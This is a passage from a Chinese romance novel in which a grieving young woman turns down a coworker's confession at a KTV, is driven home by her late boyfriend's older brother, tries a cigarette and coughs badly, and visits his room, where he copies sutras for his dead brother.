气氛太好,好到闻雪不想扫兴,她来到点歌台,点了首被人翻唱的老歌,坐在一旁的高脚凳上,旋律响起,开口唱了一句,包厢的人默契地安静下来。
要说闻雪唱歌很好听,那也不是。
她肺活量不够,高潮部分有些提不起来,要缓一秒继续唱,她略颤抖的吸气声通过话筒传到包厢每个角落,但这不妨碍大家听得入神,因为她很认真,也很投入。
贺岩挂了电话后推门进来,脚步顿住,包厢的气氛灯正在她身上挥洒,他抬起眼眸,定定地看着她,或许是错觉,他有看到那双明亮的眼睛中有泪意一闪而过。
他没有突兀地闯进来,而是站在门口,听她唱完这首歌。
闻雪脸颊发热,把话筒给了离得最近的周姐,便以去洗手间为借口出去,经过贺岩身边时,他叫住了她,两人靠得有些近,由于音乐声太大,他得微微俯身说话,她才能听清。
“知道洗手间怎么走吗?”
“我知道……”她又说,“而且有指示牌。”
“去吧。”
贺岩环顾一周,坐在了吴越江身旁,两人交头接耳,聊一些公事,丝毫没有注意到,汪远搓了把脸悄悄走出包厢。等两三首歌结束,贺岩发现闻雪还没回,以为她找不到路,交待吴越江一声,便起身出去找人。
他走走停停,往洗手间方向去时,经过拐角,猝不及防听到汪远支支吾吾地说:“我知道自己痴心妄想,癞蛤蟆一只,但闻雪,我真的喜欢你,第一次见到你,就……就很喜欢了……”
要是他知道买的那些取暖东西是闻雪用,他肯定一早出门,挑得更仔细些。
贺岩收回腿,往边上退了几步,那两个人也没发现他的存在,他不由得抬手捏捏鼻梁,明明没有喝酒,怎么有点头疼了,他都跟汪远说那么明白了,这小子还真一句都没听进去。
很快,汪远也不说话了。
贺岩正准备装路过解围时,听到闻雪开口了。
她低声道:“不好意思,我已经有男朋友了。”
15. 015.
汪远对今天的告白并没有抱太大的期望,他有自知之明,大概是喝了点酒,他又买了明天回老家的车票,想到得有十来天见不到闻雪,一时冲动就将心里话全盘托出,他想过她有百分之九十九的可能会拒绝他,拒绝的原因他都能猜得到,无外乎是对他没感觉,或者两人不合适。
没关系,她喜欢什么样的人,他就努力成为什么样的人。
可他怎么也没想到,她已经有男朋友了。
这句话砸了他一个措手不及,惊愕之下,也没多想便脱口而出:“你有男朋友?可是岩哥没说啊??”
几步以外靠着墙的贺岩:“……”
闻雪沉默几秒,手指蜷了蜷,她轻轻呼吸几下,语气还是跟刚才一样平静,“是吗?可能他忘记了。”
她顿了顿,认真地直视他,莞尔道:“还有,你是一个很好很好的人,不要那样贬低你自己,只是我有很喜欢的人,所以,不好意思。”
她知道哪些是好人,哪些是不太好的人。
眼前的汪远就是前者,不止如此,他还是贺岩的下属,不管出于哪种原因,她在这里感受到了温暖,汪远不知道她口中的很喜欢的人在海城公墓,所以,她可以很放松地说出她的真心话。
汪远不会像那些讨人厌的男生一样刺痛她的伤口,在她明确表示自己有男朋友时,还要对着她说“可是他已经不在了”这种话。
他怎么就不在了?
他还在她的心里啊。
汪远肩膀一垮,一米八的高个子,像是在她面前矮了一大截。
他其实没喜欢过什么女生。
像他这样的十几岁就瞎混的人,闻雪的宁静简单还有身上那种干净美好的气息,对他而言是致命的吸引,即便贺岩说了那些话,他也没完全听进去,每天看着她,一颗心扑通扑通跳得厉害。
可她都说有男朋友了,他如果还整天惦记她,那他算什么烂人啊?
“你还有事吗?”
闻雪看他不说话,又轻声问道。
汪远拼命摇头,“没,没事了,”他抹了一把脸,尴尬地笑笑,“该说不好意思的人是我才对。”
他语无伦次,开始没话找话,“岩哥怎么回事啊,这么大的事都能忘,服了!”
岩哥要是直接告诉他闻雪有对象,他至于做这种混账事吗?
闻雪垂下眼眸,掩去了黯然,心里有点闷,“没事的话,我先过去了。”
汪远的脸都是热的,也不知道是喝了酒上头,还是糗的,他自然不好意思再跟上去,落寞地站在原地,懊恼得直抓头发,很想揍自己一拳,闻雪从他身边经过,走了几步,似是察觉到了属于什么人的气息,忽地顿住,侧头看过去,在光线忽明忽暗的廊道,有个人倚着墙,手里把玩着支塑料打火机,他们猝不及防地对视,而沉浸在自己世界的汪远丝毫没察觉到闻雪短暂几秒的失态。
她惊讶地看着贺岩,张了张嘴。
不知道他在这里站了多久。
贺岩收起打火机,无声地对她摇了下头,示意她别出声,抬手指向别处,她迟疑着回头看了汪远的背影一眼,想了想,还是拐了个弯,跟上贺岩的脚步,两人默契地一前一后离开。
这家ktv的廊道曲折,要不是有指示牌,跟走迷宫似的。
闻雪跟在贺岩身后,左拐右拐,来了前台,他跟人要了瓶温热的牛奶给她,丝毫没提刚才那一出,抬手看向腕表,“不早了,他们估计要通宵,你还想不想继续在这里玩?”
她摇头后又点头,不确定地问他:“那……你呢?”
“我送你回去。”他说。
不然他今天也不会滴酒不沾,考虑的就是以她现在的身体,通宵会很疲倦也会伤元气,而且她是他带来的人,在这样的场合,他不放心把她交给别人,必须由他清醒地送她回家。
“好。”
闻雪的确有些累了,小声说:“不过我的包还在里面。”
贺岩嗯了声,扫视一圈,看到有两台娃娃机,便去前台换了满满一小筐硬币,接着交待跟他有点交情的领班,拜托她帮忙看着点闻雪,领班若有所思,以玩笑口吻问:“女朋友啊?”
“别瞎说,我妹妹。”
“吓我一跳,还以为贺老板铁树开花了。”
贺岩没理会她的调侃,托着筐硬币,哗啦哗啦地来到闻雪身侧,一股脑都塞给她,“在这里等我,我去包厢给你拿包,”他解释,“你要是过去被她们发现,可能就走不了了。”
这是实话,李静如跟娜娜喝了点酒就人来疯。
她们肯定会拦着她。
闻雪弯了弯唇角,“好。”
他估计换了快一百个硬币,她接过来感觉沉甸甸的,老老实实地站在娃娃机前往里塞硬币,贺岩盯着她看了会儿,不再耽误时间大步往包厢走去。
大包里不知道是谁在嘶吼着死了都要爱,宛如魔音穿耳。
贺岩的到来并没有引起其他人的注意,倒是靠着卡座在补觉的吴越江睁开眼眸,抬手摘下塞在耳朵里的纸团,视线挪动,定格在贺岩手里那跟他冷硬风格截然不符的吐司毛绒包上,了然道:“送妹妹回去啊?”
贺岩默认,“你看着点他们。”
一群人辛辛苦苦一整年,也就这几天开始松快,没个能做主的人盯着,发酒疯是轻的,就怕一不小心闹事。吴越江颔首,打了个呵欠,“快去吧。”
贺岩刚推开包厢的门,还没往外走两步,迎面撞上垂头丧气的汪远。
四目相对,贺岩不自在地别开眼,他想绕过这小子赶紧走人,汪远却不干,一把拦住他,抱怨道:“岩哥,闻雪有男朋友的事你怎么都不说啊……”
这话贺岩没办法接。
如果不是他意外碰上,他不知道闻雪心里是这样想的。
一时间,他也五味杂陈。
而其中有一味一定是心疼,心疼弟弟,也心疼她。
事实上,上辈子这时候的他确实低估了闻雪对贺恒的感情,因为在他不算短也不算长的人生里,没有尝过所谓爱情是什么滋味,所以他浅薄地以为,贺恒只是闻雪的一个男朋友,非要说有什么特殊,可能他是第一个。
汪远嘀咕几句,要说心里很难受那也不是,毕竟一开始他就没敢想闻雪会接受他,但好歹是头一次向女生告白,或多或少都有些怅然若失,他从夹克口袋里拿出一个巴掌大的盒子,自言自语道:“我还花了快一千买了瓶香水想送给她,这下她肯定不会要,我也没人送,不知道能不能退。”
还是有点心疼钱的。
贺岩回过神来,好笑地瞥他一眼,二话不说搜出钱包,打开来抽出一沓现金,没顾上数,但少说也有十张,随意卷起塞进汪远口袋里,拍他的肩,语气里带了些哄,“行了行了,多大点事,我给你报销,快进去唱歌,明天高高兴兴回家过年。”
说完他抬腿往廊道那头走。
“岩哥,哥,我亲哥!”
汪远不是那个意思,却还是没忍住咧开嘴笑了,原地复活追了上去,敏捷地将那瓶香水精准无误揣进贺岩的大衣,不给贺岩反应过来的机会,像泥鳅似的迅速溜回包厢。
贺岩手伸进口袋,摸到香水盒子哭笑不得,这东西给他,他难道就有人送?
想扔了,又记起这玩意儿花了他一千多,只好作罢,继续沉稳地往前走,他离开的时间并不长,可能都不到十分钟,但当他再回到前台大厅时,闻雪神情恬静地坐在深蓝色的沙发上,怀里抱着三个大小不一的娃娃,她似乎跟这里热闹的氛围格格不入。
闻雪正在出神,忽然眼前一道阴影落下,将她笼罩,她还没抬起头来便知道来人是谁,目光缓缓上移,她在夜市买的包包,怎么到他手里,好像真的就变成了一块刚烤好的吐司。
她不由自主地抿唇笑笑。
“你抓起来的?”他有些惊讶。
“这里的娃娃机很好抓,有点没意思。”她摊开掌心,是一张五十,还有一张二十,“所以,我又找前台换了钱。”
贺岩没接:“你拿去买奶茶喝吧。”
闻雪接过他递来的吐司包,把钱装进零钱袋再背上。
两人并肩乘坐电梯下楼离开,冬天深夜的西城似是一座空城,寒风如刀不留情面地刮来,闻雪肩膀瑟缩,拿余光打量贺岩,他难道一点都不冷吗?
还好车停得不算远,她习惯性地走到副驾车门旁站定,贺岩却来了兴致,低声问她,“带驾照了没?”
她应该有驾照,如果他的记忆没出错,某一天他有看到贺恒发的状态。
是两本摆在一起的新鲜出炉的驾照。
年轻小情侣有他们奇奇怪怪的仪式感,拿驾照的日期都得是同一天。
闻雪不解其意,还是回道:“带了,在包里。”
“行。”贺岩将车钥匙给她,“现在马路上没几辆车,你来试试开车回去。”
“我??”
闻雪惊得后退半步,不知所措,“可是我不会开车!”
“你有驾照你就会。”贺岩被她逗笑,鼓励道,“试试,谁都是从新手开始的,我就坐在副驾驶座,别怕。”
闻雪抿了抿唇,目光游移,犹豫地看向这辆车,又探头看看几乎空无一人的马路,贺岩并不催促她,耐心等着她点头或者摇头,过了一会儿,她小声问:“要是撞到人了怎么办?”
“不会。”
“要是撞到流浪猫狗怎么办?”
“不会。”
“要是撞到栏杆或者树墩子……”
贺岩完全不懂她脑子里都在琢磨些什么,怎么净想些不吉利的,换作是其他人在他面前说这种话,他早冷声让人闭嘴了。
但此时此刻,他也只能隐忍:“……不会。”
闻雪被他的三个“不会”安抚到了,勉强镇定心神,对这把车钥匙她已经很熟了,怀揣着担心,以及那一点点期待摁下开门键,绕过车头来到另一边,深吸一口气,眼一闭心一横,拉开车门坐上驾驶座。
不管了!
反正是他要她开的……
贺岩微微俯身,视线穿过玻璃,看向坐在车里的闻雪,眼里浮现淡淡笑意,他想,吴越江那张乌鸦嘴搞不好真的会灵验,也许现在在她心里,他就是个专制的人。
但他确实觉得,既然驾照都考了,就别浪费,学着开车上路,等她毕业了,他可以给她买辆车,到那时,她可以掌握方向盘,去任何她想去的地方。
他没有上车,而是跟着来了驾驶座这边。
闻雪好不容易做好心理建设,见他来了,以为他看她这胆小如鼠的模样改了主意,便急忙要去解安全带,他出声制止了她,“别动,我给你调座椅。”
说着,他弯腰靠近她,一只手臂搭在方向盘上,另一只手扣住把手,座椅开始上升。
她屏住呼吸,一动不动地靠着椅背。
紧张得掌心好像都要出汗。
贺岩给她调好座椅,正想问问她的感受,偏头一看,她一脸视死如归的表情,“……”
他略一思忖,沉吟:“不想开车?”
“也不是。”她望着他,坦白交待,“我有点害怕。”
“刚上路是这样。”
“你第一次时也害怕吗?”
贺岩睁着眼睛说瞎话,“当然,很怕。”
闻雪却深信不疑,点点头,“好,我不怕了。”
他替她关上车门,绕过车头坐上副驾,系上安全带,手把手教她启动车辆,一顿手忙脚乱,吉普车驶出停车位,一会儿慢得像蜗牛,一会儿蜗牛踩上风火轮。
“啊啊怎么办怎么办我不会!”
贺岩被颠得前俯后仰,仍然面不改色地安慰她:“就这样开,开得非常好。”
“真的吗?”
“嗯。”
…
车辆在宽阔的马路上行驶着。
找到手感的闻雪时不时就忐忑地问一句:“我感觉我开得好快,是不是超速了?”
贺岩腿上躺着她那三个娃娃,单手支着脑袋,无奈地笑了声:“没有。”
闻雪大概感受到了开车的乐趣,她唇角扬起,虽然速度远没有七十迈,但心情莫名开始自由自在,深夜马路上的车果然很少,天寒地冻,万籁俱寂。
她甚至有种整个世界只剩下她跟贺岩的错觉。
16 016.
这段路本来不长,以贺岩开车的速度,十多分钟就能到筒子楼,但他看出闻雪一扫之前的闷闷不乐,便故意指错路,漫无目的地在黑夜中行驶,两人围着老城区绕了一整圈。
等闻雪将这辆车开到楼下停好时,已经是凌晨时分。
贺岩见她兴致不减,一双眼眸还是亮的,心里也有些许安慰,上辈子他送她到学校宿舍时说的那句话是真心的,日子还长好好过,如果一定要有个人站在原地走不出来,那个人也该是他,而不是才二十岁的她。
“下车吧。”
“嗯!”
闻雪根本无法平静,一颗心还是跳得很快,高兴又振奋,简直不敢相信,自己居然真的开车回来了。
解开安全带下车被冷风吹,也感觉不到寒冷,她轻快地关上车门,风吹乱了她的发丝,环顾一周,整栋楼都是黑的,唯一的光源是头顶的月亮,照着脚下这片路,副驾驶座的贺岩微不可察地松了口气,不提这一路的颠簸,好歹平安到家了,他大手一伸拎着着三个娃娃下车,这一幕落在她眼中,有些滑稽,她扑哧笑了起来,太过寂静的夜里,很轻的笑声也如此清晰。
他强调,“你的。”
她壮着胆子纠正,“是你的。”
一来,她的房间里已经有好几个玩偶了,双人沙发上也堆着抱枕,床上也没有它们这三只的位置。
二来,它们不太好看,也不可爱。
她不想带回家。
贺岩听懂她的意思,沉默几秒,拉开车门,把这三个可怜的玩偶又放回车上。
闻雪站在一旁等他锁车,两人并肩往楼道走去,忽然她放慢了脚步,略显犹疑,或许书上说的是对的,深夜会滋生冲动与勇气,尤其是这么开心的时刻,她能够感觉到贺岩对她几乎没有底线的纵容,好像无论她提出什么要求,他都会想办法满足她。
离楼道只有一步之遥时,她声音低低地,像是某种试探,“我还可以试试吗?”
贺岩抬头看夜空,都凌晨了,她该试的事只有一件,那就是上床睡觉,“当然可以,不过现在太晚了,明天吧。”
“不是……”
闻雪轻轻地摇摇头,大概知道不是什么好事,声如蚊呐,“我说的不是开车。”
贺岩没听清楚,“什么?”
“烟。”
贺岩还以为自己出现了幻听,皱眉看向她,什么,抽烟?他听错了,还是她说错了?
她似乎也有些不好意思,惴惴不安地垂着脖颈,凝神看落在地上的影子,长达十几秒的静默后,他败下阵来,僵硬抬手伸进口袋,摸出烟盒还有打火机。
喉咙里堵着一堆的话,偏偏一个字都讲不出来。
他心情复杂地从烟盒里抽出一根烟,连带着打火机一起给她。
闻雪不敢置信地抬起头,没想到他真的会答应!
顿时就像是拥有了新玩具的小孩眉开眼笑,记起无意间撞见他夹烟的姿势,跃跃欲试,学他将这根烟夹在手指之间后,好奇问道:“是这样的吗?”
贺岩忍俊不禁。
下一秒他笑不出来了,因为她张开了嘴,咬住烟蒂,抬起眼眸,无声地望着他,仿佛在问,是这样的吗?
他呼吸一顿,莫名有些心烦意乱。
现在的年轻人怎么回事,看不到烟盒上写着吸烟有害健康?
试什么不好,非要试抽烟。
闻雪毕竟是第一次尝试,有新奇,也有紧张,拿着打火机的手都在发抖,像是在做什么坏事,鬼鬼祟祟,哆哆嗦嗦,贺岩实在看不下去,沉声道:“给我。”
她听出他的情绪不太好,以为他是在生气,一秒都不带犹豫,赶忙将咬在嘴里的烟拿开给他,又乖又怂。
“我是说,给我打火机。”
“啊?哦哦……”
贺岩拿眼神催促她,她慢吞吞地靠近他,咔哒一声,一簇小火苗绽开,他以宽大的手掌挡风,俯身低头为她点烟,火光映照着他们脸上的神情,一张硬朗,一张温柔,他一声不吭、目光沉沉地注视着她。
他答应让她试试,可没说要教她。
闻雪根本不会,烟被点燃,她小心翼翼地吸了一口,瞳孔紧缩——
“咳咳……”
“咳咳咳咳!”
一声接着一声,堪称惊天动地,把一楼到三楼的感应灯全叫亮了,她咳得眼泪都掉了下来,只觉得肺部好像被灼烧,要炸了,有种撕心裂肺的感觉。
别人抽烟那么享受,怎么轮到她就更难受了呢?
贺岩本想冷眼旁观,看她被烟雾呛得狼狈弯腰,也没多想,一把扣住她的手腕,把烟抢了过来摁灭,顺便为她拍背顺气,隔着柔软的羽绒服,手掌还能感受到她的单薄纤弱。
“还想试吗?”他故意冷声道。
某种程度上来说,贺岩是一个没什么耐心,却对弟弟妹妹有求必应的兄长。
但他两辈子加起来最后悔的事就是教会了贺恒游泳。
那时贺恒羡慕别人会游泳,央求他好久,他被烦得不行,领着贺恒去了家附近的游泳馆,小孩子胆大,悟性强,呛了几次水后就能在水里欢快扑腾了。
后来的那些年里,他总在想一个如果,如果他没有教会贺恒游泳,贺恒一定不会在那个晚上一头扎进水里去救人。
半晌,闻雪睫毛都被眼泪打湿,总算缓了过来,她冲着他有气无力地笑了笑,说话也断断续续的,“我看电视上都是这样演的……主角心烦痛苦时,抽一根烟就会好受很多。”
所以,她又上当受骗了。
她再也不想抽烟了。
贺岩嘴角抽了抽,“电视里演的都是假的,抽烟喝酒没用,更没好处,你别学。”
“可你……”她飞快看他一眼,“可你都在做啊。”
贺岩笑笑,笑声有些凉,“以后会戒的。”
“以后是什么时候?”她小声问。
贺岩回答不上,沉默几秒,无师自通地开始转移话题,“还想试什么?”
闻雪没了力气,她还有些晕,顾不上墙壁很脏,后退几步靠了上去,楼道里寒风穿过,她的声音飘忽不定,听起来很可怜,“还想过……要不要找个人约会谈恋爱。”
痛苦是情绪,也可能会变成种子。
她也不想让它在她身体里落地生根,只是她知道的娱乐方式极其有限,她好像丧失了让自己快乐的能力,或者说,她从来都没有拥有过这种能力。
在她还没记事的年纪,疼爱她的父母便意外去世。
白发人送黑发人的痛楚令奶奶和爷爷头发花白,健朗的身体也每况愈下,记忆中,家里的空气中都是各种药味,闹钟一响,爷爷奶奶便拧开瓶盖,哗啦哗啦往手心倒药,仰头咽下。
她单调的青春期里,所有浓烈的色彩都是贺恒画上去的。
起初他们不熟,有一次做实验时被分到一个小组,他们理念不同,差点发生争吵,她有点生气,都不想再跟他讲话,实验课结束后,抱起课本就往外走,贺恒追上她,她去哪里,他也跟上。
从那天开始,他就成为了她的尾巴,怎么也赶不走。
像贺恒那样的好学生也会为她打架,学校里的男同学还好,有老师管着不会太张扬高调,校外那几个社会青年总喜欢跟着她,贺恒知道以后,每天都要接她上学,送她回家,有那么一两次,他跟他们发生冲突,抄起东西就动手,完全不要命了。
他说,他绝不会让任何人欺负她。
“可以。”
这两个字打断了闻雪的回忆,她仓促抬眼看他,“什么?”
“可以试着去约会,逛街看电影什么的,”贺岩停顿数秒,补充,“不过还是要找个像样的人,你要对他有点要求,起码得有一定的能力,等遇上事了才能保护你照顾你。”
闻雪听他一本正经地说着,都什么跟什么呀,摇了摇头,“不行的,我还是办不到,你不觉得那样做的话,对别人很不公平,也很过分吗?”
“不觉得。”
“……”
这段无厘头的对话,再次戳中闻雪的笑点,她偏过头,闷闷地笑出声来,和贺岩接触时间久了,就会发现他这个人偶尔冒出来的一些话很冷幽默,根本不是贺恒口中那个严肃的大哥。
他……很好很好。
贺岩不懂她为什么要笑,但从她提出想抽烟开始便紧绷着的身躯开始放松,语气也变得轻缓:“很晚了,该上去休息了。”
“好。”
闻雪站直身体,一向都是她走在前面,他在后面,这次也不例外,不过走到二楼时,她涌起的好奇心还没完全退却,让她不由自主地问那个早就想问的问题,“你呢,除了抽烟喝酒,心烦痛苦时还会做什么?”
“你想知道?”
“一点点。”
她嘴上说着一点点,明亮含笑的眼睛里写着很多很多。
贺岩瞥她一眼,有些无奈,看来今天她是非要熬这个夜了,早知道这样,他又何必把她从ktv带回来,让她在那里疯岂不是更好?
“跟我来。”
这次换他走在前面,往二楼尽头走去,闻雪没有犹豫,赶紧跟上,一前一后,两道力度不同的脚步声在通廊响起,沉稳与轻快交织,没一会儿就到了贺岩的房间门口,他拿出钥匙开门,她踮脚惊奇地张望。
刚刚适应昏暗,冷不丁地屋里的灯被打开,光线太过强烈,属于贺岩身上的那种清冽气息更强烈,她被刺得眼睛胀痛。
“进来吗?”
贺岩很少有拿不定主意的时候,他一向敏锐而果决,可他也搞不懂自己怎么会提出这样荒谬的提议,居然在凌晨时分把她带到了他的房门前,这不合适,要知道他的房间目前为止只有一个女人进去过,保洁张婶。
但即便是张婶,也是白天进去。
理智告诉贺岩,他该马上赶闻雪上楼睡觉,然而她很少对什么事好奇,他不能让她的好奇落空。
就这一次,只此一次,下不为例。他沉闷地想。
17 017.
这是闻雪第一次迈进贺岩的房间,尽管在此之前,她给他送了很多次早餐,但每次都止步于门口。
这间房间跟她的房间格局一模一样。
不到二十平的面积,屋里的摆设一览无遗。他比她还要简单得多,只有一张单人床,床头柜,衣柜,以及桌椅,谈不上多么整洁,但也绝对不脏不乱。
闻雪拘谨地坐下,不再四处张望。
仅剩的好奇心在进来之后,一点一点地消弭。
她开始坐立难安,反省自责,今天晚上的她是不是提了太多要求?又是抽烟,又是问他怎么排解痛苦,现在冷静下来,她都为自己的得寸进尺而诧异,明明她不是这样的人。
“我……”
她越想越不安,下意识地起身想走。
贺岩背对着她,看不到她脸上的情绪变化,从木桌抽屉里拿出一沓纸张,放在桌上,两人的目光同时定在纸上一笔一划端正的字上,闻雪神情怔忪,哪怕她对上面的内容不了解,粗略看几句也能辨认出应该是经书。
“就这些。”
他语气平淡,“抄抄经书,然后送去庙里供着。”
其实贺恒已经不在了,他还能为早逝的弟弟做些什么呢?什么都做不了。
所以,哪怕他心里根本不信这些,这也是如今的他唯一能做的事。
闻雪愣愣地说:“有用吗?”
他不甚在意地回,“谁知道。”
有没有用,只有地底下的贺恒知道。
见她直勾勾地盯着他抄的经书,他干脆递给她看,又问道:“喝点什么?”
“都可以。”
闻雪压根就没仔细听,她虔诚地在心里默念着贺岩抄写的经文,用指腹轻抚那些字,是一个兄长对弟弟的思念和心血。
她眼眶发热,心情却意外地宁静。
贺岩看她几眼,走出房间。
在隔壁门口的花盆里找到一枚钥匙,直接开门进了吴越江的屋子,很轻松地找到一罐成人补钙奶粉,挖了两勺放进杯子里,用热水冲开,一股奶香味扑鼻而来,听说晚上睡觉前喝牛奶能睡得好。
多亏了吴越江没有一米八。
不然今年二十五岁对身高依然有执念的老吴不会每天坚持喝奶粉。
“趁热喝。”贺岩再回到自己的房间,把冒着热气的杯子放闻雪手边,“喝完了赶紧回去洗澡睡觉。”
闻雪嗯了声,双手捧着杯子,嘴唇要贴上杯口时,迟疑了一瞬。
“这杯子没人用,我也没用过。”
“不是……”她摇摇头,“哪里来的?”
“偷的。”
又开玩笑。
闻雪唇角翘起,不再迟疑,小口尝尝,居然还有点点甜味,贺岩在她对面坐下,屋子很窄,夜晚很深,他低头回复消息,好像很忙碌,可那些动静还是传到他耳朵里。
咕咚的吞咽声,是她在喝牛奶。
沙沙声,是她在翻书。
一杯热牛奶,闻雪喝了十分钟,她起身要去洗杯子,被贺岩阻拦,看着像是不耐烦的样子,但话语里全是关心,他抬起手,点点腕表表盘,再一次提醒她,“你自己看看,都几点了?快去睡觉。”
“……喔。”
闻雪回了三楼,热水器的水果然没那么热,热水时断时续,她头一回洗澡这样敷衍,现在的她不怕生病着凉,但她怕贺岩会担心,赶紧冲了身上的泡沫,裹着睡衣哒哒哒地回房,被窝里的热水袋暖烘烘的,她钻了进去,枕着柔软的枕头,牙齿刷得干干净净,没了烟味,也没了牛奶味。
但她还记得。
她担心会忘记所有第一次的感受,从床头柜摸到手机,发了条只有她一个人看得见的状态——
【今天抽烟了,很呛,有点辣,有点苦,是所有的烟都是这个味道,还是只有贺岩抽的烟是这个味道?】
这曾经是她的习惯。
她账号的密码贺恒全都知道,谈恋爱难免会闹矛盾,酸甜苦辣全都得尝遍,她有时候生闷气,又不想伤筋动骨地同他吵架,就偷偷在状态上骂他,其实就是发给他看的,要他赶紧道歉再来哄她。
很多很多条,数也数不过来。
时隔十个月,状态再次更新,像是荒废许久的花园,再次恢复一点生机。
楼下,贺岩匆匆洗完澡,头发都顾不上吹回了房间,闻雪喝过的杯子已经洗干净,这杯子他肯定不会再用,但被其他人比如吴越江这些糙男人用,那就更不行了。
他想了想,把它单独放在窗台上摆着,不能用,扔了可惜,就当是摆设。
…
不知道是不是睡得太晚的关系,从贺恒出事以来,闻雪还是头一回睡到八点醒来,睡得饱饱的,是久违了的满足感,外面通廊吵吵闹闹的,她竖起耳朵听了会儿,猜到是公司那些人通宵回来,便不再赖床,掀开被子换衣服起来。
她刚刷牙洗脸,门口传来急促且没有规律的敲门声,来人性子急。
不是贺岩。
贺岩敲门很轻,一般敲三下就停,等几分钟如果她没开门,他再敲。
果然,门一开,穿着漂亮大衣的娜娜欢快地扑了进来,一夜没睡,仍然神采奕奕,容光焕发,“就知道你在!来,我给你买了早餐,她们说大学生就爱喝咖啡吃三明治,花了我四十多呢!”
闻雪被她扑得后退几步才站稳,失笑纠正:“那是谣言。”
“啊?”
“我们不吃四十多的早餐。”
反正她不吃,太贵了。
她也喜欢上了豆浆油条。
娜娜大笑:“我不管,我买了,你今天要吃!”
闻雪笑着道谢,娜娜是她房间的常客,因为双人沙发很舒服,落地灯也好看,她们两个人经常窝在上面说一些不着边际的话,不知不觉友情萌生。
在娜娜叽叽喳喳的声音中,闻雪小心地从纸袋里拿出咖啡放在桌上,三明治看起来还不错,正准备咬一口时,听到门外的脚步声,她垂下手,下意识地站起来。
贺岩出现在门口,手里也拎着早餐,往里一看,什么都明白了。
除了他,还有个人给她来送早餐。
“岩哥,早上好!”娜娜抱着热水袋冲他招手。
“行,那这份我拿去给老吴吃。”他说,这句话自然是对闻雪说的,但他目光停留了几秒,仿佛是在思考,她是不是更喜欢吃这种花里胡哨的玩意儿,收回视线时,扫过桌上的喝的,扬扬下巴,“那是什么?”
“咖啡,可贵可贵啦!”娜娜抢着骄傲地回道。
这么贵的咖啡,她只会给很好的朋友买,万年都得往边上靠。
贺岩平静颔首,伸手招招,“给我。”
别以为他不知道咖啡喝了提神,问题是闻雪现在还需要提神吗?
他就希望她能好好吃饭,好好睡觉。
娜娜:“??”
闻雪歉意地看娜娜一眼,丝毫没有犹豫,捧着咖啡起身送到门口,贺岩接过,垂眸看向纸杯上的标签,什么焦糖玛奇朵,稀奇古怪的,“谢了。”
总算这句话是对娜娜说的。
说完后他就走了。
娜娜回过神来后,仍然目瞪口呆,“又不是买给他喝的!天啊!”
要不是她亲眼见到,她都不能相信这么不要脸的人是他们岩哥。
闻雪柔声笑道:“你今天想喝什么,我请你好不好。”
“下次吧。”娜娜兴奋不已,脸也红红的,“今天不行,我捡漏抢到了酒店的大床房,我还没住过五星级呢,准备跟万年出去过纪念日,他说今天陪我逛街……嗯,晚上我们就不回来啦。”
“行,那就明天。”闻雪眉眼俱笑,“明天请你喝好喝的,”想了想,她补充,“贵的。”
“好!说定了!”
坐了一会儿,娜娜的手机振动,是万年打来的电话,说收拾好了可以出发。这里的人上上下下都对闻雪很好,但即便是汪远,也只在她搬来的那天来过她房间,其他男的被贺岩疾言厉色敲打过,压根就不会来找她。
万年知道女朋友在闻雪房间。
知道归知道,宁愿花钱打电话,也不会来走一趟。
等娜娜高高兴兴地走后,闻雪给自己倒了杯温水,一边吃三明治一边看她的草莓盆栽,依然无事发生,连草莓的影子都没见到。
…
“什么东西。”
贺岩昨晚他没睡好,做了个让他血压飙升的梦,梦中,穿着白裙子的闻雪手里夹着根烟站在他面前,对他吐出灰色烟雾,一根接着一根,他好声好气地对她说,别抽了行不行。
她微微一笑,可是你抽。
他没办法,我以后就戒。
她继续吞云吐雾,问,以后是什么时候?
他从梦里醒来,一看手机,早上六点不到,再也睡不着了,双手背在脑后,睁眼看着天花板。现在虽然不困,却有些疲倦,坐副驾驶座喝了口据说很提神的咖啡,尝了一口,他眉头紧皱。
“怎么了?”吴越江注意着前方路况,火车站的这段路异常拥堵。
这是一辆在吴越江名下的商务车。
腊月二十八,司机们都要返乡过年,贺岩对这些从一开始就跟着他的员工很好,怕他们大包小包挤公交,干脆开车一块儿送。送完这一批后,他再开车送吴越江去机场。
“没什么。”
吴越江看车上只有他们两个人,再次问道:“真不回去?”
“不回。”贺岩摇头,“就剩我一个人,在哪过不是过。”
“那妹妹呢?”
贺岩顿住,“她也不回。”
这件事他有问过她,想着如果她回海城,他可以给她买跟吴越江同航班的机票,路上也能有个照应,可她说她不想回,不愿意折腾自己去吃一顿只有她是局外人的年夜饭。
吴越江轻叹,“挺好的,你记得带妹妹吃好吃的,看看贺岁片,逛街买点新衣服什么的。”
“我给她钱,她不要。”
说起这个,贺岩也有点心烦,闻雪基本上不花钱,吃的不多也不挑,他怀疑,她这段时间以来花的最大一笔钱,还是给他买的电动牙刷。
“你带她去逛不就行了?”
贺岩摇头:“娜娜之前拉她去逛街,她什么都没买,只给我买了牙刷。”
吴越江和他分析,“娜娜能给她买单?能给她拎包?她俩是关系平等的朋友,又不是任劳任怨的跟班。”
贺岩总觉得他这话有些古怪,前面说得挺好,后面怎么听怎么不对,娜娜不是跟班,他就是了?声音都冷了下来,“我是她哥。”
“宾果。”等绿灯时,吴越江打了个响指,一脸欣慰,“你总算明白了,你有弟弟,你就能当老大,你要是有妹妹,那不好意思,你只能当她的马仔,懂吗?”
18 018.
吴越江是下午四点半的航班,车还没到机场收到了延误短信。
如果他没说什么给妹妹当马仔的鬼话,兴许贺岩还会陪他在机场坐坐,现在没这种可能了,刚到航站楼,便催吴越江赶紧拿着行李箱下车走人。
吴越江懒洋洋地打了个哈欠,顺手拿走了贺岩只喝了一口的咖啡。
哥俩是二十多年的朋友,谁也别嫌弃谁。
他一手推着行李箱,一手拿咖啡往里走,很快消失在贺岩的视野,春节前夕的机场乌泱泱的都是人,后面来车按喇叭,贺岩一踩油门离开,在上机场高速前,他找了个地方停车抽烟提神。
刚抽没两口,想起了闻雪。
他肩膀一顿,心情复杂地摁灭烟,扔进垃圾桶,拿出手机看时间,为了监督她吃药,他每天都会过问,略一思索,点开跟她的聊天对话框,发送消息:【喝药。】
闻雪收到消息时在打扫卫生,放下手中的扫帚,洗净双手,正要撕开中药液强忍着干呕的生理反应喝下时,灵机一动,对着这袋中药拍了张照发过去。
然后,捏着鼻子一鼓作气喝下。
她也不知道为什么喝中药要捏鼻子,电视上是这样演的,应该有一定的道理。
她觉得自己也很厉害,喝完后居然没有马上喝水或者吃糖,而是用手机拍下,再次发送:【[图片]喝完了。】
